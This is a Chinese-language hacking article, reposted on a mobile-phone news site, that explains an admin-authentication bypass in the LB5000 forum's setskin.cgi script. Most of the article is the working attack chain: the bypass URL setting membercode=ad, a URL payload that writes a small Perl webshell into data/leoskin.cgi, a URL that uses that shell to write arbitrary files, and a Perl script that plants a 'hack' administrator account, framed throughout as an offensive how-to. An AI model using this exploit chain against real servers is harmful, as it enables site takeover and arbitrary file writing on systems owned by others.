跳至正文
-
欢迎您时常回来看看,不错过任何精彩文章。收藏本站!
第七手机网

中国大型手机资讯类网站! https://www.7shouji.com

第七手机网

中国大型手机资讯类网站! https://www.7shouji.com

  • 首页
  • 资讯
  • 热门品牌
  • 新机曝光
  • 安卓频道
  • 苹果频道
  • 智能家居
  • 手游
  • 5G频道
  • VR
  • 趣闻
  • 智能生活
  • 首页
  • 资讯
  • 热门品牌
  • 新机曝光
  • 安卓频道
  • 苹果频道
  • 智能家居
  • 手游
  • 5G频道
  • VR
  • 趣闻
  • 智能生活
关

搜索

趣闻

LB5K论坛setskin.cgi存在管理员验证可绕开漏洞

作者 dawei
2019年11月25日

>>>Dedicated This Scrap To CaoJing<<<

涉及版本:
LB5000XP所有版本,低于LB5000MX1.90(1.90已修复)所有版本

描述:
LB是一款由www.leoboard.com开发和维护的源代码开放的cgi论坛;由于setskin.cgi存在管理员验证可绕开漏洞,可能导致非法用户控制论坛或以web权限在系统上执行任意命令

具体:
LB论坛管理菜单中有个“管理区插件设定“的特殊功能,我们来看看它是如何对管理员进行验证的:
———————————————-
62 $inmembername = cookie(“adminname”);
63 $inpassword = cookie(“adminpass”);
…
68 &getmember(“$inmembername”);
69 
70 if (($membercode eq “ad”) && ($inpassword eq $password) && (lc($inmembername) eq lc($membername))) {
…
———————————————-
其中getmember()是提取用户资料的一个函数,如果$inmembername用户存在它将返回此用户的密码、等级等信息,但要是这个用户不存在呢?呵呵,这下可就坏了,我们还是先来看看getmember()函数的相关部分:
———————————————-
sub getmember {
my $nametocheck = shift;
…
my $filetoopen = “$lbdir” . “$memdir/$nametocheck.cgi”;
…
if ((-e $filetoopen)&&($nametocheck !~ /^客人/)) {#如果用户存在就提取
…#省略大量提取用户信息的代码 
}
else { $userregistered = “no”; }#如果不存在,仅仅返回这个
}
———————————————-
显然当我们直接请求setskin.cgi文件的时候$inmembername为空,也就是说&getmember(“$inmembername”)这行只会返回个$userregistered = “no”;但setskin.cgi文件中$userregistered连影都没有,嘿嘿,问题出来了吧:&getmember(“$inmembername”)在setskin.cgi文件中“形同虚设“!!我们现在回过头看第70行的验证代码:
($inpassword eq $password)和(lc($inmembername) eq lc($membername))已经搞定了,因为它们都为空嘛;只有($membercode eq “ad”)尚待搞定,要这是PHP程序你肯定会脱口而出我们直接指定“membercode=ad”啊!要命的是在这里你同样可以这样做,因为可爱的LB在setskin.cgi的开头有这么几行:
———————————————-
@params = $query->param;
foreach (@params) {
$theparam = $query->param($_);
$theparam =~ s/\@/\\\@/g;
$theparam =~ s/\$/\\\$/g;
$theparam = &unHTML(“$theparam”);
${$_} = $theparam;
———————————————-
哈哈,爽吧,还等什么,直接提交如下URL进入:
http://www.target.com/perl/lb5000mx/cgi-bin/setskin.cgi?membercode=ad
Yeah,成功!!
…恩,请小声点,并没有结束,相反,攻击才开始。
上面这个是次要的,我们做不了什么,但我们绕开了验证,接下来的代码才有味道呢!
———————————————-
73 if ($action eq “process”) {
74
75
76 $printme .= “1\;\n”;
77
78 $filetomake = “$lbdir” . “data/leoskin.cgi”;
79
80 open(FILE,”>$filetomake”);
81 flock(FILE,2) if ($OS_USED eq “Unix”);
82 print FILE “$printme”;
83 close(FILE);
———————————————-
同样,这里的$printme也是我们手中控制的变量,可向data/leoskin.cgi覆盖式的写入东西,太好了,可写什么呢?要知道写这次会覆盖上一次写的,它可没耐心让你一行一行,而且,它还处理了一批有用字符:
———————————————-
52 $theparam =~ s/\@/\\\@/g;
53 $theparam =~ s/\$/\\\$/g;
54 $theparam = &unHTML(“$theparam”);
…
sub unHTML {
my $text = shift;
$text =~ s///g;
$text =~ s/\&/\&/g;
$text =~ s//\/ig;
$text =~ s/”/\”/g;
$text =~ s/ / \ /g;
$text =~ s/$text =~ s/>/\>/g;
$text =~ s/[\a\f\e\0\r\t]//isg;
$text =~ s/document.cookie/documents\&\#46\;cookie/isg;
return $text;
}
———————————————-
My God,@&$”<>全军覆没,看来要动真格了,好,提交下面URL:
http://www.target.com/perl/lb5000mx/cgi-bin/setskin.cgi?membercode=ad&action=process&printme=use%20CGI%20qw(:standard)%3bopen(SKY,param(‘a’))%3bprint%20SKY%20param(‘b’)%3b
文件data/leoskin.cgi现在变成什么样了呢?
———————————————-
use CGI qw(:standard);open(SKY,param(‘a’));print SKY param(‘b’);$printme = “use CGI qw(:standard);open(SKY,param(‘a’));print SKY param(‘b’);”;
1;
———————————————-
实质起作用的是:
———————————————-
use CGI qw(:standard);
open(SKY,param(‘a’));
print SKY param(‘b’);
———————————————-
这个小webshell酷吧,它能做许多事哦,比如说:
http://www.psych.com/perl/lb5000mx/cgi-bin/data/leoskin.cgi?a=>;>E:/PsYch/PERL/LB5000MX/cgi-bin/data/hack.cgi&b=hahahaha
这样你就在E:/PsYch/PERL/LB5000MX/cgi-bin/data/目录下新写入了一个文件hack.cgi其内容为”hahahaha”;照同样的方法把下面这个文件一行一行(我没强迫你这样做,你可以写个小程序)写到对方web下一个目录:
———————————————-
$lbpath=”E:/PsYch/PERL/LB5000MX/cgi-bin/”;####注意:此处请修改####
$ad=”/hack.cgi”;
opendir(DIR,”$lbpath”);
@files=readdir(DIR);
close(DIR);
@memdir=grep(/^members/,@files);
$hack=$lbpath.@memdir[0].$ad;
open(HACK,”>$hack”);
print HACK “hack\thack\thack\tad\n”;
———————————————-
假使你把文件名定为 love.cgi,在/somepath目录下,提交
http://www.target.com/somepath/love.cgi
哦,一个hack/hack管理员诞生了!当然,上传个功能强使用方便的webshell上去也行,不过那是你自己的工作了!

标签:

LB5Ksetskin.cgi存在管论坛
作者

dawei

【声明】:第七手机网内容转载自互联网,其相关言论仅代表作者个人观点绝非权威,不代表本站立场。如您发现内容存在版权问题,请提交相关链接至邮箱:bqsm@foxmail.com,我们将及时予以处理。

关注我
其他文章
上一个

总结开3389的5种方法

下一个

如何追击消灭连环恶意网页病毒?

广告

最新文章

  • 5G新纪元!三星Galaxy S26+极速领航 2026年7月25日
  • iPhone 17 5G新纪元,手机达人必看速览 2026年7月25日
  • 华为nova 15 Ultra:5G先锋,畅享极速通讯新体验 2026年7月25日
  • 荣耀Magic8 Pro:5G智联,畅享极速未来 2026年7月25日
  • Xiaomi 17 Pro Max:5G先锋,通信新纪元 2026年7月25日

广告

云标签

5G Galaxy iPhone iQOO OPPO Pro Realme Redmi vivo 一加 三星 中国 京东 人工智能 体验 全球 区块 华为 发布 小米 微软 怎么 性能 手机 技术 数智网 新机 旗舰 智能 智能家居 曝光 机器人 正式 游戏 科技 系列 美国 芯片 苹果 荣耀 谷歌 运营商 骁龙 高通 魅族

广告

友情链接:155手机网 151手机网 185手机网

第七手机网

大型手机资讯类网站! https://www.7shouji.com

Copyright 2026 — 第七手机网. All rights reserved.